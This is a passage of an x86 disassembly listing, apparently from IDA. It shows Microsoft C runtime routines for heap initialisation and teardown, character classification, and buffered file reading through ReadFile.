		add	edx, 1
		mov	[ebp+var_14], edx
		jmp	short loc_41F59F
; ---------------------------------------------------------------------------


loc_41F596:				; CODE XREF: sub_41F3F0:loc_41F5CAj
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax


loc_41F59F:				; CODE XREF: sub_41F3F0+1A4j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dl, [ecx+8]
		mov	eax, [ebp+var_10]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jge	short loc_41F5CC
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_14]
		xor	edx, edx
		mov	dl, [ecx+8]
		test	edx, edx
		jz	short loc_41F5CA
		mov	eax, 0FFFFFFFAh
		jmp	short loc_41F623
; ---------------------------------------------------------------------------


loc_41F5CA:				; CODE XREF: sub_41F3F0+1D1j
		jmp	short loc_41F596
; ---------------------------------------------------------------------------


loc_41F5CC:				; CODE XREF: sub_41F3F0+1C2j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax


loc_41F5D2:				; CODE XREF: sub_41F3F0+152j
		jmp	loc_41F4F1
; ---------------------------------------------------------------------------


loc_41F5D7:				; CODE XREF: sub_41F3F0+108j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_24]
		cmp	eax, [edx+ecx*8+18h]
		jz	short loc_41F5ED
		mov	eax, 0FFFFFFF9h
		jmp	short loc_41F623
; ---------------------------------------------------------------------------


loc_41F5ED:				; CODE XREF: sub_41F3F0+1F4j
		cmp	[ebp+var_18], 0
		jnz	short loc_41F5FA
		mov	eax, 0FFFFFFF8h
		jmp	short loc_41F623
; ---------------------------------------------------------------------------


loc_41F5FA:				; CODE XREF: sub_41F3F0+ABj
					; sub_41F3F0+201j
		jmp	loc_41F443
; ---------------------------------------------------------------------------


loc_41F5FF:				; CODE XREF: sub_41F3F0+34j
					; sub_41F3F0+6Fj
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], offset off_445248
		jnz	loc_41F404
		cmp	[ebp+var_8], 0
		jnz	short loc_41F621
		mov	eax, 0FFFFFFF7h
		jmp	short loc_41F623
; ---------------------------------------------------------------------------


loc_41F621:				; CODE XREF: sub_41F3F0+228j
		xor	eax, eax


loc_41F623:				; CODE XREF: sub_41F3F0+9Dj
					; sub_41F3F0+C4j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41F3F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F630	proc near		; CODE XREF: .data:0041C9F2p
					; sub_41F690+1FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		push	0
		call	dword_4E0360	; GetModuleHandleA
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 5A4Dh
		jnz	short loc_41F663
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+3Ch], 0
		jnz	short loc_41F665


loc_41F663:				; CODE XREF: sub_41F630+28j
		jmp	short loc_41F688
; ---------------------------------------------------------------------------


loc_41F665:				; CODE XREF: sub_41F630+31j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+3Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Ah]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Bh]
		mov	[eax+1], dl


loc_41F688:				; CODE XREF: sub_41F630:loc_41F663j
		mov	esp, ebp
		pop	ebp
		retn
sub_41F630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F690	proc near		; CODE XREF: sub_41F8C0:loc_41F8ECp

var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= dword	ptr -1230h
var_122C	= byte ptr -122Ch
var_1128	= byte ptr -1128h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1238h
		call	sub_4181D0
		mov	[ebp+var_1238],	0
		mov	[ebp+var_98], 94h
		lea	eax, [ebp+var_98]
		push	eax
		call	dword_4E039C	; GetVersionExA
		test	eax, eax
		jz	short loc_41F6DE
		cmp	[ebp+var_88], 2
		jnz	short loc_41F6DE
		cmp	[ebp+var_94], 5
		jb	short loc_41F6DE
		mov	eax, 1
		jmp	loc_41F8B0
; ---------------------------------------------------------------------------


loc_41F6DE:				; CODE XREF: sub_41F690+30j
					; sub_41F690+39j ...
		push	1090h
		lea	ecx, [ebp+var_1128]
		push	ecx
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	dword_4E048C	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_41F884
		lea	edx, [ebp+var_1128]
		mov	[ebp+var_4], edx
		jmp	short loc_41F711
; ---------------------------------------------------------------------------


loc_41F708:				; CODE XREF: sub_41F690:loc_41F73Ej
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41F711:				; CODE XREF: sub_41F690+76j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_41F740
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 61h
		jl	short loc_41F73E
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 7Ah
		jg	short loc_41F73E
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 0E0h
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_41F73E:				; CODE XREF: sub_41F690+94j
					; sub_41F690+9Fj
		jmp	short loc_41F708
; ---------------------------------------------------------------------------


loc_41F740:				; CODE XREF: sub_41F690+89j
		push	16h
		lea	ecx, [ebp+var_1128]
		push	ecx
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418830
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F768
		lea	edx, [ebp+var_1128]
		mov	[ebp+var_1238],	edx
		jmp	short loc_41F7DB
; ---------------------------------------------------------------------------


loc_41F768:				; CODE XREF: sub_41F690+C8j
		push	104h
		lea	eax, [ebp+var_122C]
		push	eax
		push	0
		call	dword_4E0334	; GetModuleFileNameA
		lea	ecx, [ebp+var_122C]
		mov	[ebp+var_4], ecx
		jmp	short loc_41F790
; ---------------------------------------------------------------------------


loc_41F787:				; CODE XREF: sub_41F690:loc_41F7BDj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41F790:				; CODE XREF: sub_41F690+F5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_41F7BF
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 61h
		jl	short loc_41F7BD
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 7Ah
		jg	short loc_41F7BD
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, 0E0h
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_41F7BD:				; CODE XREF: sub_41F690+113j
					; sub_41F690+11Ej
		jmp	short loc_41F787
; ---------------------------------------------------------------------------


loc_41F7BF:				; CODE XREF: sub_41F690+108j
		lea	eax, [ebp+var_122C]
		push	eax
		lea	ecx, [ebp+var_1128]
		push	ecx
		call	sub_417E00
		add	esp, 8
		mov	[ebp+var_1238],	eax


loc_41F7DB:				; CODE XREF: sub_41F690+D6j
		cmp	[ebp+var_1238],	0
		jz	loc_41F884
		push	2Ch
		mov	edx, [ebp+var_1238]
		push	edx
		call	sub_418970
		add	esp, 8
		mov	[ebp+var_1238],	eax
		cmp	[ebp+var_1238],	0
		jz	short loc_41F884
		mov	eax, [ebp+var_1238]
		add	eax, 1
		mov	[ebp+var_1238],	eax
		mov	ecx, [ebp+var_1238]
		mov	[ebp+var_4], ecx


loc_41F820:				; CODE XREF: sub_41F690:loc_41F846j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_41F848
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_41F83D
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		jmp	short loc_41F846
; ---------------------------------------------------------------------------


loc_41F83D:				; CODE XREF: sub_41F690+1A3j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41F846:				; CODE XREF: sub_41F690+1ABj
		jmp	short loc_41F820
; ---------------------------------------------------------------------------


loc_41F848:				; CODE XREF: sub_41F690+198j
		push	0Ah
		push	0
		mov	edx, [ebp+var_1238]
		push	edx
		call	sub_418200
		add	esp, 0Ch
		mov	[ebp+var_1230],	eax
		cmp	[ebp+var_1230],	2
		jz	short loc_41F87C
		cmp	[ebp+var_1230],	3
		jz	short loc_41F87C
		cmp	[ebp+var_1230],	1
		jnz	short loc_41F884


loc_41F87C:				; CODE XREF: sub_41F690+1D8j
					; sub_41F690+1E1j
		mov	eax, [ebp+var_1230]
		jmp	short loc_41F8B0
; ---------------------------------------------------------------------------


loc_41F884:				; CODE XREF: sub_41F690+67j
					; sub_41F690+152j ...
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41F630
		add	esp, 4
		mov	ecx, [ebp+var_1234]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_41F8AB
		mov	eax, 3
		jmp	short loc_41F8B0
; ---------------------------------------------------------------------------


loc_41F8AB:				; CODE XREF: sub_41F690+212j
		mov	eax, 2


loc_41F8B0:				; CODE XREF: sub_41F690+49j
					; sub_41F690+1F2j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41F690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8C0	proc near		; CODE XREF: sub_41AB00+7Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		call	dword_4E0494	; HeapCreate
		mov	dword_4DE648, eax
		cmp	dword_4DE648, 0
		jnz	short loc_41F8EC
		xor	eax, eax
		jmp	short loc_41F94B
; ---------------------------------------------------------------------------


loc_41F8EC:				; CODE XREF: sub_41F8C0+26j
		call	sub_41F690
		mov	dword_4DE64C, eax
		cmp	dword_4DE64C, 3
		jnz	short loc_41F923
		push	3F8h
		call	sub_41CA80
		add	esp, 4
		test	eax, eax
		jnz	short loc_41F921
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E0490	; HeapDestroy
		xor	eax, eax
		jmp	short loc_41F94B
; ---------------------------------------------------------------------------


loc_41F921:				; CODE XREF: sub_41F8C0+4Ej
		jmp	short loc_41F946
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F8C0+3Dj
		cmp	dword_4DE64C, 2
		jnz	short loc_41F946
		call	sub_41E750
		test	eax, eax
		jnz	short loc_41F946
		mov	edx, dword_4DE648
		push	edx
		call	dword_4E0490	; HeapDestroy
		xor	eax, eax
		jmp	short loc_41F94B
; ---------------------------------------------------------------------------


loc_41F946:				; CODE XREF: sub_41F8C0:loc_41F921j
					; sub_41F8C0+6Aj ...
		mov	eax, 1


loc_41F94B:				; CODE XREF: sub_41F8C0+2Aj
					; sub_41F8C0+5Fj ...
		pop	ebp
		retn
sub_41F8C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_4DE64C, 3
		jnz	loc_41F9EA
		mov	eax, dword_4DE668
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_41F97D
; ---------------------------------------------------------------------------


loc_41F974:				; CODE XREF: .data:0041F9D1j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_41F97D:				; CODE XREF: .data:0041F972j
		mov	edx, [ebp-4]
		cmp	edx, dword_4DE664
		jge	short loc_41F9D3
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	dword_4E0484	; VirtualFree
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		call	dword_4E0484	; VirtualFree
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0480	; RtlFreeHeap
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_41F974
; ---------------------------------------------------------------------------


loc_41F9D3:				; CODE XREF: .data:0041F986j
		mov	edx, dword_4DE668
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0480	; RtlFreeHeap
		jmp	short loc_41FA28
; ---------------------------------------------------------------------------


loc_41F9EA:				; CODE XREF: .data:0041F95Dj
		cmp	dword_4DE64C, 2
		jnz	short loc_41FA28
		mov	dword ptr [ebp-0Ch], offset off_445248


loc_41F9FA:				; CODE XREF: .data:0041FA26j
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+10h], 0
		jz	short loc_41FA17
		push	8000h
		push	0
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		push	eax
		call	dword_4E0484	; VirtualFree


loc_41FA17:				; CODE XREF: .data:0041FA01j
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp-0Ch], offset off_445248
		jnz	short loc_41F9FA


loc_41FA28:				; CODE XREF: .data:0041F9E8j
					; .data:0041F9F1j
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0490	; HeapDestroy
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FA40	proc near		; CODE XREF: sub_417160+66p
					; sub_417860+19p ...

var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 1
		cmp	eax, 100h
		ja	short loc_41FA6A
		mov	ecx, [ebp+arg_0]
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, [ebp+arg_4]
		jmp	loc_41FAF3
; ---------------------------------------------------------------------------


loc_41FA6A:				; CODE XREF: sub_41FA40+11j
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		and	ecx, 0FFh
		mov	edx, off_447274
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 8000h
		test	eax, eax
		jz	short loc_41FAB3
		mov	ecx, [ebp+arg_0]
		sar	ecx, 8
		and	ecx, 0FFh
		mov	[ebp+var_C], cl
		mov	dl, byte ptr [ebp+arg_0]
		mov	[ebp+var_B], dl
		mov	[ebp+var_A], 0
		mov	[ebp+var_8], 2
		jmp	short loc_41FAC4
; ---------------------------------------------------------------------------


loc_41FAB3:				; CODE XREF: sub_41FA40+4Fj
		mov	al, byte ptr [ebp+arg_0]
		mov	[ebp+var_C], al
		mov	[ebp+var_B], 0
		mov	[ebp+var_8], 1


loc_41FAC4:				; CODE XREF: sub_41FA40+71j
		push	1
		push	0
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		call	sub_429B60
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41FAE8
		xor	eax, eax
		jmp	short loc_41FAF3
; ---------------------------------------------------------------------------


loc_41FAE8:				; CODE XREF: sub_41FA40+A2j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		and	eax, [ebp+arg_4]


loc_41FAF3:				; CODE XREF: sub_41FA40+25j
					; sub_41FA40+A6j
		mov	esp, ebp
		pop	ebp
		retn
sub_41FA40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB00	proc near		; CODE XREF: sub_417410+182p
					; sub_4186C0+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_41FB09:				; CODE XREF: sub_41FB00+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FB2D
		push	offset dword_4344AC
		push	0
		push	69h
		push	offset a_filbuf_c ; "_filbuf.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41FB2D
		int	3		; Trap to Debugger


loc_41FB2D:				; CODE XREF: sub_41FB00+Dj
					; sub_41FB00+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41FB09
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41FB55
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 40h
		test	edx, edx
		jz	short loc_41FB5D


loc_41FB55:				; CODE XREF: sub_41FB00+46j
		or	eax, 0FFFFFFFFh
		jmp	loc_41FCDD
; ---------------------------------------------------------------------------


loc_41FB5D:				; CODE XREF: sub_41FB00+53j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41FB80
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_41FCDD
; ---------------------------------------------------------------------------


loc_41FB80:				; CODE XREF: sub_41FB00+68j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jnz	short loc_41FBAB
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_429D20
		add	esp, 4
		jmp	short loc_41FBB6
; ---------------------------------------------------------------------------


loc_41FBAB:				; CODE XREF: sub_41FB00+9Bj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_41FBB6:				; CODE XREF: sub_41FB00+A9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+18h]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+10h]
		push	ecx
		call	sub_41FCF0
		add	esp, 0Ch
		mov	edx, [ebp+var_4]
		mov	[edx+4], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41FBEB
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+4], 0FFFFFFFFh
		jnz	short loc_41FC1B


loc_41FBEB:				; CODE XREF: sub_41FB00+E0j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, eax
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_41FCDD
; ---------------------------------------------------------------------------


loc_41FC1B:				; CODE XREF: sub_41FB00+E9j
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 82h
		test	eax, eax
		jnz	short loc_41FC81
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	short loc_41FC56
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		sar	eax, 5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[eax*4]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	short loc_41FC5D
; ---------------------------------------------------------------------------


loc_41FC56:				; CODE XREF: sub_41FB00+131j
		mov	[ebp+var_8], offset dword_447A30


loc_41FC5D:				; CODE XREF: sub_41FB00+154j
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 82h
		cmp	edx, 82h
		jnz	short loc_41FC81
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ch, 20h
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx


loc_41FC81:				; CODE XREF: sub_41FB00+128j
					; sub_41FB00+170j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 200h
		jnz	short loc_41FCB4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 8
		test	edx, edx
		jz	short loc_41FCB4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 400h
		test	ecx, ecx
		jnz	short loc_41FCB4
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h


loc_41FCB4:				; CODE XREF: sub_41FB00+18Bj
					; sub_41FB00+198j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		and	eax, 0FFh
		mov	edx, [ebp+var_4]
		mov	ecx, [edx]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx], ecx


loc_41FCDD:				; CODE XREF: sub_41FB00+58j
					; sub_41FB00+7Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41FB00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCF0	proc near		; CODE XREF: sub_417410+118p
					; sub_41FB00+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	short loc_41FD21
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_41FD3C


loc_41FD21:				; CODE XREF: sub_41FCF0+Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_41FD6E
; ---------------------------------------------------------------------------


loc_41FD3C:				; CODE XREF: sub_41FCF0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41FD80
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_41FD6E:				; CODE XREF: sub_41FCF0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_41FCF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FD80	proc near		; CODE XREF: sub_41FCF0+64p
					; sub_429E30+42Fp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_41FDBB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_41FDC2


loc_41FDBB:				; CODE XREF: sub_41FD80+17j
		xor	eax, eax
		jmp	loc_4201C1
; ---------------------------------------------------------------------------


loc_41FDC2:				; CODE XREF: sub_41FD80+39j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 48h
		test	edx, edx
		jz	short loc_41FE59
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+5]
		cmp	eax, 0Ah
		jz	short loc_41FE59
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		mov	ecx, [ebp+var_14]
		mov	dl, [eax+edx+5]
		mov	[ecx], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	byte ptr [edx+ecx+5], 0Ah


loc_41FE59:				; CODE XREF: sub_41FD80+62j
					; sub_41FD80+82j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4E03B8	; ReadFile
		test	eax, eax
		jnz	short loc_41FED8
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jnz	short loc_41FEB7
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_4201C1
; ---------------------------------------------------------------------------


loc_41FEB7:				; CODE XREF: sub_41FD80+118j
		cmp	[ebp+var_8], 6Dh
		jnz	short loc_41FEC4
		xor	eax, eax
		jmp	loc_4201C1
; ---------------------------------------------------------------------------


loc_41FEC4:				; CODE XREF: sub_41FD80+13Bj
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_422430
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4201C1
; ---------------------------------------------------------------------------


loc_41FED8:				; CODE XREF: sub_41FD80+109j
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	loc_4201BE
		cmp	[ebp+var_10], 0
		jz	short loc_41FF54
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_41FF54
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 4
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4DE320[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_41FF8A
; ---------------------------------------------------------------------------


loc_41FF54:				; CODE XREF: sub_41FD80+18Ej
					; sub_41FD80+199j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
